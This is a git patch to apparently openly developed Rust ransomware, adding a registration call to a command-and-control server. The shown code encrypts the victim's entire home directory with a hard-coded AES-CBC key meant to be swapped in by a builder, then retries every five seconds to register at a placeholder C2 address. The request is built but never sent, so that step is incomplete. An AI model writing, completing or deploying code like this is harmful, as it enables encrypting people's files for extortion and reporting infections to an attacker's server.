From 55c083157927a81146b2272c2a4e4bf9ea72f594 Mon Sep 17 00:00:00 2001 From: Xory Date: Sun, 23 Jun 2024 23:30:04 +0300 Subject: [PATCH] feat: add client registration to C2 server --- src/crypto.rs | 12 +++++++++--- src/encrypt.rs | 17 +++++++++++++++-- 2 files changed, 24 insertions(+), 5 deletions(-) diff --git a/src/crypto.rs b/src/crypto.rs index 6b137bf..5bc86d7 100644 --- a/src/crypto.rs +++ b/src/crypto.rs @@ -12,13 +12,15 @@ use std::fs::File; use std::fs; use std::io::{Read, Write}; use std::error::Error; -use std::str; +use std::str::{self, FromStr}; +use reqwest::blocking::Request; type Aes256Cbc = Cbc; const KEY: &[u8] = b"keyhereshouldbereplacedbybuilder"; -const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytes +const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytesA +const C2ADDR: &str = "c2serveraddr"; fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box> { @@ -96,4 +98,8 @@ pub fn decrypt_directory(directory_path: &str) -> Result<(), Box> { Ok(()) } - +pub fn register() -> Result<(), Box> { + let c2_register_url = format!("http://{C2ADDR}/client/register"); + let _register_reqwest = Request::new(reqwest::Method::POST, reqwest::Url::from_str(&c2_register_url)?); + Ok(()) +} diff --git a/src/encrypt.rs b/src/encrypt.rs index 0ddb3a5..2521137 100644 --- a/src/encrypt.rs +++ b/src/encrypt.rs @@ -1,6 +1,9 @@ mod crypto; use crypto::encrypt_directory; +use crypto::register; use std::env; +use std::thread::sleep; +use std::time::Duration; fn main() { #[cfg(target_os = "windows")] @@ -8,6 +11,16 @@ fn main() { #[cfg(target_os = "linux")] let home: String = env::var("HOME").unwrap(); encrypt_directory(&home).unwrap(); // I know this many unwraps look - // suspicious, but the chance of this - // failing is less than a solar flare. + // suspicious, but the chance of this + // failing is less than a solar flare. + + loop { + let registration_attempt = register(); + if registration_attempt.is_ok() { + break; + } else { + sleep(Duration::from_secs(5)); + } + } + }